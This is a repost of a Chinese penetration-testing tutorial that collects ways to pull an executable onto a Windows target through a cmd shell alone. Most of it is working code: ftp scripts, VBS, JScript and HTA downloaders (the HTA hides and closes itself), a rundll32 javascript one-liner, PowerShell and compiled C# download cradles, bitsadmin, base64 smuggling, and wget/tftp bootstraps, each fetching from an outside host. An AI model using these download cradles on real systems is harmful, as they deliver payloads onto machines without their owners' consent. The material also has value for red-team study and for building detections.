滲透技巧——通過cmd上傳文件的N種方法


    <html>
		<head>
		     <title>滲透技巧——通過cmd上傳文件的N種方法 - 三好學生</title>
			 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
		</head>
		<body>
			<h1>原文地址:<a href="http://drops.wooyun.org/tips/14101">http://drops.wooyun.org/tips/14101</a></h1>
			
  <p>
    <h1>0x00 前言</h1>

在滲透測試的過程中,常常需要向目標主機上傳文件,我在最近的學習測試過程中就碰到了這個問題,要求只能通過cmd shell向目標主機(Windows系統)上傳文件,所以本文就對該技巧做一下總結。

Alt text

圖片來自於http://www.telegraph.co.uk/news/worldnews/northamerica/usa/11754089/Hacker-remotely-crashes-Jeep-from-10-miles-away.html

0x02 測試環境


OS:Win7 x86
test exe:ssss2.exe,成功運行后輸出1

0x03 通用上傳方法


1、 debug

debug是一個程序調試工具,功能包括:

  • 直接輸入,更改,跟蹤,運行匯編語言源程序
  • 觀察操作系統的內容
  • 查看ROM BIOS的內容
  • 觀察更改RAM內部的設置值
  • 以扇區或文件的方式讀寫軟盤數據

特別的是它還有一個功能可以將十六進制代碼轉換為可執行文件:

Alt text

結合本文的目標,思路如下:

  1. 把需要上傳的exe轉換成十六進制hex的形式
  2. 通過echo命令將hex代碼寫入文件
  3. 使用debug功能將hex代碼還原出exe文件

實際測試:

kali中的exe2bat.exe提供了這個功能,位於/usr/share/windows-binaries

如圖

Alt text

操作步驟:

kali:

#!bash
cd /usr/share/windows-binaries
wine exe2bat.exe ssss2.exe ssss2.txt

執行后會生成ssss2.txt,將里面的內容復制粘貼到cmd命令行下依次執行

執行后會生成1.dll、123.hex、ssss.exe

如圖

Alt text

注:
exe2bat不支持大於64kb的文件 debug默認只支持在32位系統

如圖

Alt text

2、ftp

搭建好ftp服務器:

ip:192.168.174.151
文件:ssss2.exe

按順序執行如下代碼即可通過ftp來下載文件

cmd:

#!bash
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt

如圖

Alt text

注:
初次使用ftp下載防火牆會彈框攔截,使用前記得要先添加防火牆規則

3、vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream對象

如下代碼保存為.vbs文件:

#!vb
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\update\ssss2.exe",2

對應到cmd下的命令為:

#!bash
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs

按順序依次執行后會生成download.vbs,然后執行download.vbs即可實現下載ssss2.exe

4、powershell

cmd:

#!powershell
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\test\update\ssss2.exe')

5、csc

csc.exe是微軟.NET Framework 中的C#編譯器,Windows系統中默認包含,可在命令行下將cs文件編譯成exe

c# downloader的代碼為:

#!csharp
using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://192.168.174.145/ssss2.exe";
            string receivePath = @"C:\test\update\";
            client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
        (URLAddress));
        }
    }
}

使用echo將代碼依次寫入文件download.cs中,然后調用csc.exe編譯cs文件

執行

#!bash
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\update\download.exe C:\test\update\download.cs

如圖成功生成download.exe

Alt text

注:
csc.exe的絕對路徑要根據系統的.net版本來確定

6、JScript

相比於JSRat中用的Scripting.FileSystemObject

換用ADODB.Stream實現起來更加簡單高效

以下代碼依次保存為js文件,直接執行即可實現下載文件

#!js
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = WScript.CreateObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
    Stream.Close();
}

合並成rundll32的一句話(類似於JSRat的啟動方式):

cmd:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://192.168.174.145/ssss2.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\\test\\update\\ssss2.exe",2);Stream.Close();}

執行后會提示沒有權限,很有趣的地方,更多的細節會在以后的文章介紹

Alt text

Alt text

7、hta

添加最小化和自動退出hta程序的功能,執行過程中會最小化hta窗口,下載文件結束后自動退出hta程序

以下代碼保存為.hta文件:

#!js
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>  
</html>

8、bitsadmin

bitsadmin是一個命令行工具,可用於創建下載或上傳工作和監測其進展情況。xp以后的Windows系統自帶

使用方法:

cmd下:

#!bash
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip  C:\test\update\PSTools.zip 

下載成功如圖:

Alt text

注:
不支持https、ftp協議
使用kali的simplehttpserver作服務器會報錯

9、base64

將exe先作base64加密,通過cmd上傳后解密輸出 對exe作base64加密的方法:

(1)powershell

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload

運行后會將C:\windows\system32\calc.exe作base64加密並輸出到base64.txt

(2)c#

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\test\base64.txt");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

(3)eml附件

(思路由豬豬俠提供)

server2003 默認包含outlook客戶端C:\Program Files\Outlook Express

運行后-新建郵件-上傳附件-另存為eml格式

使用notepad打開eml郵件,可看到加密的base64代碼

如圖

enter image description here

解密base64文件並生成exe的方法:

(1)powershell

$Base64Bytes = Get-Content (base64.txt)
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Set-Content calc.exe -Value $PEBytes

(2)c#

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\test\base64.txt");
            String AsBase64String = Convert.FromBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\test\calc.exe");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

注: 讀文件的操作可替換為base64代碼直接寫入腳本文件中

0x04 補充上傳方法


以上均為系統默認包含的程序,結合以上方法並借助於第三方工具也能夠實現功能

這里介紹的思路是可先通過bitsadmin來下載第三方工具,然后利用第三方工具進行傳輸文件

1、wget:

#!bash
bitsadmin /transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip  C:\test\update\wget.zip

運行后會下載wget的壓縮包wget.zip

注:
Windows系統默認不包含解壓縮zip文件的命令,但是可以通過vbs來實現解壓縮zip文件

vbs實現解壓縮:

以下代碼保存為.vbs文件:

#!vb
UnZip "C:\test\update\wget.zip","C:\test\update\wget\"
Sub UnZip(ByVal myZipFile, ByVal myTargetDir)
    Set fso = CreateObject("Scripting.FileSystemObject")
    If NOT fso.FileExists(myZipFile) Then
        Exit Sub
    ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
        Exit Sub
    ElseIf NOT fso.FolderExists(myTargetDir) Then
        fso.CreateFolder(myTargetDir)
    End If
    Set objShell = CreateObject("Shell.Application")
    Set objSource = objShell.NameSpace(myZipFile)
    Set objFolderItem = objSource.Items()
    Set objTarget = objShell.NameSpace(myTargetDir)
    intOptions = 256
    objTarget.CopyHere objFolderItem, intOptions
End Sub

代碼來自於http://demon.tw/programming/vbs-unzip-file.html

成功解壓縮后就可通過wget.exe來傳輸文件

#!bash
C:\test\update\wget\wget.exe http://192.168.174.145/ssss2.exe

如圖

Alt text

2、ftfp

思路同上,先通過bitsadmin下載tftp.exe,然后利用tftp傳輸文件

#!bash
bitsadmin /transfer n http://www.winagents.com/downloads/tftp.exe C:\test\update\tftp.exe

下載成功后利用tftp傳輸文件:

#!bash
tftp -i 192.168.174.151 GET tftp\ssss2.exe C:\test\update\ssss2.exe

注:
默認防火牆會攔截

關掉防火牆或者添加規則即可

如圖

Alt text

0x05 小結


本文對一些常用的通過cmd來傳輸文件的技巧做了整理,側重於介紹其中較為通用簡便的方法,所以並未介紹其他需要配置開發環境的實現方法,如Python、Ruby、Php等,如果你有更好的實現方法,歡迎與我交流,共同學習。

0x06 參考資料


本文由三好學生原創並首發於烏雲drops,轉載請注明

		</body>
	</html>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM